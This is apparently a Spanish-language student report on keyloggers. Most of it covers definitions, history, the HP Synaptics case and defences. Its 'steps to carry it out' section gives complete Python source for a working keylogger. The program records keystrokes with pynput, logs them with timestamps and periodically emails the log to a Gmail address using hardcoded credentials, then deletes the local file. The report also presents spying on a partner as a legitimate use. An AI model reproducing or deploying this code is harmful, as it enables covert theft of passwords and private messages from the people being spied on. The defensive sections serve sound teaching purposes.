KEYLOGGER
SEGURIDAD DE REDES TCPIP
Isaias Acabal baten
092-15-7309 | MAESTRIA INFORMATICA
INDICE
keylogger ............................................................................................................................................ 2
Variantes de Keylogger................................................................................................................. 3
Historia ............................................................................................................................................... 3
Área en las que ha afectado .............................................................................................................. 4
Vulnerabilidad activa........................................................................................................................ 4
Medidas para protegerse .................................................................................................................. 4
• Anti-spyware ............................................................................................................................... 5
• Monitores de red ..................................................................................................................... 5
• Software anti-keylogging ....................................................................................................... 5
• Eliminación ......................................................................................................................... 5
Características del ataque ................................................................................................................ 5
Seguimiento de actividades ......................................................................................................... 6
Hardware del teclado .................................................................................................................. 6
Detectores de teclado inalámbricos ............................................................................................ 6
Superposiciones de teclado ......................................................................................................... 6
Caso famoso ....................................................................................................................................... 6
Descubierto otro keylogger oculto en los portátiles de HP que afecta a 460 modelos lanzados
desde 2012....................................................................................................................................... 6
Herramientas que se usaron para realizar el ataque ..................................................................... 7
Pasos a seguir para realizarlo .......................................................................................................... 7
Ejercicio práctico ............................................................................................................................ 11
keylogger
Por sí mismo, el término 'keylogger' es neutral y describe una función que registra
las pulsaciones de las teclas del ordenador.
La mayoría de las fuentes consultadas definen keylogger como un programa
diseñado para permanecer en secreto, monitorear y registrar cada pulsación del teclado.
Esta definición no es correcta del todo, pues un keylogger no necesariamente tiene que ser
un programa, sino que también puede ser un dispositivo físico. Los dispositivos keylogger
son menos conocidos que el software keylogger, pero es importante tener en cuenta la
existencia de ambos cuando se habla de seguridad informática.
Los programas legítimos pueden tener una función de keylogger que se puede
utilizar (y a menudo se utiliza), para iniciar ciertos programas mediante combinaciones de
teclas (‘hotkeys’) o para cambiar la distribución del teclado (por ejemplo, el teclado Ninja).
Se encuentra disponible un gran número de programas diseñados que permiten a los
administradores rastrear las actividades diarias de los empleados en sus ordenadores, o que
permiten a los usuarios hacer lo mismo respecto a las actividades de terceros.
Los programas legítimos pueden tener una función de keylogger que se puede
utilizar (y a menudo se utiliza), para iniciar ciertos programas mediante combinaciones de
teclas (‘hotkeys’) o para cambiar la distribución del teclado (por ejemplo el teclado Ninja).
Se encuentra disponible un gran número de programas diseñados que permiten a los
administradores rastrear las actividades diarias de los empleados en sus ordenadores, o que
permiten a los usuarios hacer lo mismo respecto a las actividades de terceros. Sin embargo,
el límite ético entre el monitoreo justificado y el espionaje delincuencial suele ser muy
estrecho. Sucede que a menudo los programas legítimos son utilizados de manera
deliberada para robar información confidencial del usuario, como por ejemplo sus
contraseñas.
La mayoría de los modernos keyloggers se consideran software o hardware legítimo
y se venden abiertamente en el mercado. Los desarrolladores y vendedores ofrecen una
larga lista de casos en los cuales resulta legal el uso de los keyloggers, como por ejemplo:
Control para padres: los padres pueden rastrear las actividades de sus hijos en
Internet y pueden solicitar que se les envíe notificaciones en caso de acceso a sitios Internet
con contenido para adultos;
Las esposas o esposos celosos pueden recurrir a un keylogger para rastrear las
actividades de su pareja en Internet si llegan a sospechar que están envueltos en una
“relación virtual”;
Seguridad corporativa: rastreado del uso de ordenadores con propósitos
extralaborales, o el uso de las estaciones fuera de las horas de trabajo;
Seguridad corporativa: uso de keyloggers para rastrear la introducción de palabras y
frases clave asociadas con información comercial que podría perjudicar a la empresa (ya
sea en el orden material u otro) si llegara a revelarse;
Otro tipo de seguridad: uso de registros de keyloggers para analizar y rastrear
incidentes relacionados con el uso de ordenadores personales;
Otras razones.
Aunque las justificaciones arriba mencionadas son más subjetivas que objetivas,
todas las situaciones pueden resolverse mediante otros métodos. Además, cualquier
programa keylogger legítimo siempre puede ser utilizado con intenciones maliciosas o
delincuenciales.
Variantes de Keylogger
Aunque existe un amplio abanico de variedades de keyloggers, las dos categorías
principales son keyloggers con software y keyloggers con hardware. El más utilizado es
el keylogger con software, el cual forma parte de otros malware como troyanos o rootkits.
Éste es el más sencillo de instalar dentro de un equipo, porque no se necesita acceder a la
máquina físicamente. Otro tipo de keylogger con software tiene la función de imitar una
API del sistema operativo del equipo infectado, permitiendo al keylogger guardar cada
pulsación que se haga.
Los keyloggers con hardware son menos habituales y más difíciles de instalar en un
equipo. Esta variedad necesita que el criminal tenga acceso físico al ordenador, durante el
proceso de fabricación o durante su uso. Otros keyloggers se pueden instalar a través de un
USB o mediante un conector falso que una el teclado con el ordenador. Los keylogger con
hardware son más flexibles para los cybercriminales, ya que son independientes del sistema
operativo.
Historia
En febrero de 2005, Joe López, un empresario de Florida, enjuició al Bank of
América después de que unos hackers desconocidos robaran 90.000 dólares de su cuenta en
este banco. El dinero robado había sido transferido a Latvia.
Una investigación reveló que el ordenador de López había sido infectado con el
virus conocido como Backdoor Coreflood, el cual registra cada pulsación del teclado y
envía esta información a ciberdelincuentes vía Internet. Fue de esta manera que los hackers
obtuvieron el nombre de usuario y la contraseña de Joe López, ya que él a menudo
realizaba sus transacciones bancarias a través de Internet.
Sin embargo, el veredicto de la corte no favoreció al interpelante pues se adujo que
Joe López había sido negligente por no tomar precauciones al manejar su cuenta bancaria a
través de Internet. La signatura del código malicioso encontrado en su sistema había sido
añadida a las bases de datos de casi todos los antivirus ya en 2003.
Área en las que ha afectado
Hoy en día los keyloggers se usan principalmente para robar información
relacionada a varios sistemas de pago en línea, y los elaboradores de virus no cesan en su
afán de elaborar nuevos troyanos keyloggers con tal propósito.
De esta forma los hackers pueden robar información confidencial como la siguiente:
Sus nombres de usuario y contraseñas.
El número de su tarjeta de crédito y el código de verificación.
Todo el historial de sus chats.
Una lista de los sitios web que ha visitado.
Las aplicaciones que ha usado.
Los documentos que ha abierto.
Capturas de pantalla de su actividad
Vulnerabilidad activa
Considerando que los keyloggers pueden usarse para cometer actos delictivos, la
detección de tales programas se ha convertido en una prioridad para las compañías antivirus
ya que hoy en día, el uso de este método es demasiado común entre las empresas como
también en el mundo cibercriminal, así que podemos confirmar que su uso diario es
totalmente activo.
Medidas para protegerse
No confiar en ningún archivo que solicite descargar fuentes desconocidas.
Utilizar un teclado virtual.
Cambiar a una distribución de teclado alternativa.
De igual forma es muy recomendable proteger siempre los inicios de sesión, ya sea
mediante el uso de verificación en dos pasos, o bien mediante el uso de un gestor de
contraseñas, para crear y guardar contraseñas indescifrables. Como el gestor de
contraseña introducirá automáticamente las contraseñas, no hay nada que el
keylogger que pueda registrar.
En algunas computadoras podemos darnos cuenta si están infectadas por un
keylogger (dependiendo de la velocidad y uso de CPU de nuestro procesador) por el
hecho de que el programa registrará cada una de nuestras teclas de la siguiente
manera: FicheroLog = FicheroLog + UltimaTecla, este evento será ejecutado por el
keylogger cada vez que el usuario presione una tecla. Si bien este evento no será
una carga relevante para nuestro procesador si se ejecuta a una velocidad normal,
pero si mantienes unas 10 teclas presionadas por unos 30 segundos con la palma de
tu mano y tu sistema se congela o su funcionamiento es demasiado lento podríamos
sospechar que un keylogger se ejecuta sobre nuestro computador.
Otro signo de que un keylogger se está ejecutando en nuestro computador es el
problema de la tilde doble (´´) al presionar la tecla para acentuar vocales, salen dos
tildes seguidas y la vocal sin acentuar. Esto ocurre en keyloggers configurados para
otros idiomas.
Anti-spyware
Los programas Anti-spyware pueden detectar diversos keyloggers y limpiarlos.
Vendedores responsables de supervisar la detección del software apoyan la
detección de keyloggers, así previniendo el abuso del software.
Habilitar un cortafuegos o firewall puede salvar el sistema del usuario no solo del
ataque de keyloggers, sino que también puede prevenir la descarga de archivos
sospechosos, troyanos, virus, y otros tipos de malware.
Monitores de red
Los monitores de red (llamados también cortafuegos inversos) se pueden utilizar
para alertar al usuario o usuaria cuando el keylogger use una conexión de red. Esto
da al usuario la posibilidad de evitar que el keylogger envíe la información obtenida
a terceros.
Software anti-keylogging
El software para la detección de keyloggers está también disponible. Este tipo de
software graba una lista de todos los keyloggers conocidos. Los usuarios legítimos
del PC pueden entonces hacer, periódicamente, una exploración de esta lista, y
el software busca los artículos de la lista en el disco duro. Una desventaja de este
procedimiento es que protege solamente contra los keyloggers listados, siendo
vulnerable a los keyloggers desconocidos o relativamente nuevos. Incluso Microsoft
ha admitido públicamente que el sistema operativo Windows 10 tiene un keylogger
integrada en su versión final "para mejorar los servicios de entrada y de la
escritura". En el caso de Windows 10 y keylogging, basta con cambiar algunos
parámetros de privacidad en su ordenador.
Eliminación
Es realmente difícil detectar un keylogger ya que, normalmente, no se suelen
comportar como otros programas maliciosos. No buscan información de valor para
luego enviarla a un servidor de comando y control. Tampoco destruyen información
del equipo como hacen otros programas maliciosos. En su lugar, los keyloggers
están diseñados para permanecer ocultos y pasar desapercibidos. Los
productos antimalware pueden detectar y eliminar algunos tipos de keyloggers. Sin
embargo, aquellos keylogger que hayan sido creados para un objetivo en concreto,
no se suelen reconocer tan fácilmente. Si un usuario sospecha que su equipo está
infectado con un keylogger, existe una serie de técnicas que le pueden ayudar a
sortear dicho malware: por ejemplo, arrancando el equipo desde un CD o USB o
usando un teclado virtual, el cual evita que el malware reciba las pulsaciones del
teclado.
Características del ataque
Los keyloggers de software de acceso remoto pueden permitir el acceso a datos
grabados localmente desde una ubicación remota. Esta comunicación puede ocurrir usando
uno de los siguientes métodos: Subiendo los datos a un sitio web, base de datos o
servidor FTP. Envíe periódicamente los datos a una dirección de correo electrónico
predefinida. Transmisión inalámbrica de datos a través de un sistema de hardware adjunto.
Software que permite el inicio de sesión remoto en su máquina local.
Registro del portapapeles
Se captura cualquier elemento que pueda copiarse en el portapapeles.
Registro de pantalla
Se inspeccionan capturas de pantalla aleatorias de la pantalla de su computadora.
Captura de texto de control
La API de Windows permite que los programas soliciten el valor de texto de
algunos controles, lo que significa que su contraseña se puede capturar incluso si está detrás
de una máscara de contraseña los asteriscos que ve cuando ingresa su contraseña en un
formulario.
Seguimiento de actividades
Este programa puede registrar la grabación de carpetas, programas y ventanas se
abren y, posiblemente, igualmente capturas de pantalla de cada uno. Registro de consultas
de motores de búsqueda, conversaciones de mensajes instantáneos, descargas de FTP junto
con cualquier otra actividad de Internet.
Hardware del teclado
Estos registradores toman la forma de un hardware insertado en algún lugar entre el
teclado de la computadora y la computadora, generalmente a lo largo de la conexión del
cable. Por supuesto, hay métodos de implementación más avanzados que evitarían que
cualquier dispositivo sea visible externamente. Este tipo de keylogger de hardware es
ventajoso porque no depende de ningún software ni puede ser detectado por ningún
software.
Detectores de teclado inalámbricos
Es posible que las señales enviadas desde un teclado inalámbrico a su receptor sean
interceptadas por un rastreador inalámbrico.
Superposiciones de teclado
Las superposiciones son populares en los casos de robo en cajeros automáticos
donde los ladrones capturan el número PIN de un usuario. Este dispositivo está diseñado
para mezclarse con la máquina para que las personas no sepan su presencia.
Caso famoso
Descubierto otro keylogger oculto en los portátiles de HP que afecta a 460 modelos
lanzados desde 2012
HP sigue acumulando polémicas relacionadas con la privacidad, aunque en este
caso se han dado prisa en solucionarlo. El investigador de seguridad Michael
Myng encontró y reportó el código de un keylogger oculto en los drivers del
teclado preinstalados por HP en sus portátiles. Y la empresa lo ha confirmado, admitiendo
que afecta a más de 460 de sus modelos de portátiles.
El problema estaba en el software Synaptics Touchpad, el cual estaba siendo
investigado por Myng para ver cómo controlaba el controlador las luces del teclado. Pero lo
que encontró fue el código de un keylogger que viene desactivado por defecto en los
ordenadores, pero que un atacante podría activar con relativa facilidad para espiarnos.
De esta manera, si alguien consiguiese acceder a tu ordenador ya no tendría que
instalar nada para registrar todo lo que escribe. Sería suficiente con conseguid permisos de
administrador en tu ordenador y hurgar en el código del teclado y habilitar sin que te des
cuenta el keylogger que traía incorporado. No es algo fácil de hacer, pero la vulnerabilidad
permitía que se pudiese.
Este bug afecta a los portátiles de gamas como EliteBook, ProBook, Pavilion o
Envy entre otras. HP lo ha concretado publicando una lista completa con todos los modelos
afectados que va hasta los lanzados en 2012. Junto a la lista también ha publicado
actualizaciones del driver para solucionar el problema y eliminar el keylogger.
"Se ha identificado una posible vulnerabilidad de seguridad con ciertas versiones de
controladores de touchpad Synaptics que impactan a todos los socios OEM de Synaptics",
ha dicho HP en su aviso de seguridad. "Se necesitarían privilegios administrativos para
aprovechar la vulnerabilidad. Ni Synaptics ni HP tienen acceso a los datos de los clientes
como resultado de este problema".
Herramientas que se usaron para realizar el ataque
1. Python última versión (3.9.1)
[Link]
2. visual studio code última versión.
[Link]
3. Gmail
[Link]
Pasos a seguir para realizarlo
Instalación de Python
Instalación de visual studio code
Instalación de librerías
COMANDOS PARA INSTALAR DESDE EL SIMBOLO DE SISTEMA(CMD)
- Preparar los scripts para la instalación: cd scripts
- Instalar las librerías: pip install “tu libreria”
# autor: isaias Acabal -*-
import os
import sys
import datetime
import time
import pynput
from [Link] import Key, Listener
import smtplib
from decouple import config
import keyboard
import smtplib, ssl
import getpass
from email import encoders
from [Link] import MIMEBase
from [Link] import MIMEText
from [Link] import MIMEMultipart
Ejecutar Código
# configuracion de Email emisor y destinatario
def email():
username = "fredicortez63@[Link]"
password = "@fredy1234"
destinatario = "1997isaiiah@[Link]"
asunto="Reporte"
#crear el mensaje
mensaje = MIMEMultipart("alternative") #estandar
mensaje["Subject"] = asunto
mensaje["From"] = username
mensaje["To"] = destinatario
html = f"""
<html>
<body>
Hola {destinatario}<br>
Adjunto datos <b></b> :)
</body>
</html>
"""
# el contenido del mensaje como html
parte_html= MIMEText(html, "html")
# #agregar ese contenido al mensaje
[Link](parte_html)
#archivo="C:/Users/isaias/Documents/Python/PythonPOO/keylogger/log
.txt"
archivo="[Link]"
with open(archivo, "rb") as adjunto:
contenido_adjunto = MIMEBase("application", "octet-stream")
contenido_adjunto.set_payload([Link]())
encoders.encode_base64(contenido_adjunto)
contenido_adjunto.add_header(
"Content-Disposition",
f"attachment; filename= {archivo}",
)
[Link](contenido_adjunto)
mensaje_final = mensaje.as_string()
#crear la conexion
context = ssl.create_default_context()
with smtplib.SMTP_SSL("[Link]", 465, context=context)
as server:
[Link](username,password)
print("Inició sesión!")
[Link](username, destinatario, mensaje_final)
print("Mensaje enviado")
count=0
keys=[]
# contador para los 4 enter
def on_press(key):
global keys,count
if key == [Link]:
[Link]("\n")
write_file(keys,count)
keys=[]
count+=1
if count>4:
email()
if [Link]("[Link]"):
[Link]("[Link]")
count=0
elif key=='"':
[Link]('"')
elif key== Key.shift_r:
[Link]("")
elif key== Key.ctrl_l:
[Link]("")
elif key == [Link]:
[Link](" ")
elif key == [Link]:
if len(keys)==0:
pass
else:
[Link](-1)
else:
[Link](key)
print("{0}".format(key))
# en archivo [Link] adjuntar fecha y hora
def write_file(keys,count):
with open("[Link]", "a") as f:
[Link]([Link]("%d/%m/%y "))
[Link]([Link]("%I:%M:%S "))
for key in keys:
k=str(key).replace("'","")
if [Link]("\n")>0:
[Link](k)
# elif [Link]('"a')>0:
# [Link]()
elif [Link]('Key')== -1:
[Link](k)
def on_release(key):
if key == [Link]:
return False
def main():
if [Link]("[Link]"):
[Link]("[Link]")
else:
pass
with Listener(on_press=on_press, on_release=on_release) as listene
r:
[Link]()
if __name__== '__main__':
main()
Ejercicio práctico
Para visualizar paso a paso la realización del keylogger en Python deben de visitar el
siguiente video:
[Link]
Bibliografía
[Link]
[Link]
hp-que-afecta-a-460-modelos-lanzados-desde-2012
[Link]
[Link]